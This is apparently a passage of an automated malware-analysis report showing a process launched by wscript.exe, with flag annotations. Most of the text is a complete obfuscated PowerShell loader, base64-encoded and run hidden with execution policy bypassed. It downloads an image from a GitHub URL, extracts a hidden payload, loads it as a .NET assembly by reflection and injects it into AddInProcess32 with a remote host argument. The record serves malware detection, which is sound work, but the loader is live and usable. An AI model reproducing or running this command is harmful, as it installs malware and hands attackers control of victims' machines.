0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnKydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysnbmRleCAtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC5TdWJzdHJpbmcobFEnKydrc3RhcnRJbmRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJysnKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGxRJysna2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZsZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lXS5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTtsUWt2YWlNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC4nKyduYW1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCAnKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5JysnTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXRpdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2xRaycsW1NUckluZ11bY0hBUl0zNikuUkVQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQVJdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aU5WT0tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUxoO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNsaWVudC5Eb3dubG9hZERhdGEobFFraW1hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0ZXMpO2xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZyA9IDlMaDw8QkFTRTY0X0VORD4+OUxoO2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWFnZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWcpO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZXh0LkluZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydkICcrJ2xRa2VuZEluZGV4IC1ndCBsUWtzdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggKz0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnKydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysnbmRleCAtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC5TdWJzdHJpbmcobFEnKydrc3RhcnRJbmRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJysnKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGxRJysna2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZsZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lXS5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTtsUWt2YWlNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC4nKyduYW1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCAnKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5JysnTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXRpdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2xRaycsW1NUckluZ11bY0hBUl0zNikuUkVQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQVJdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe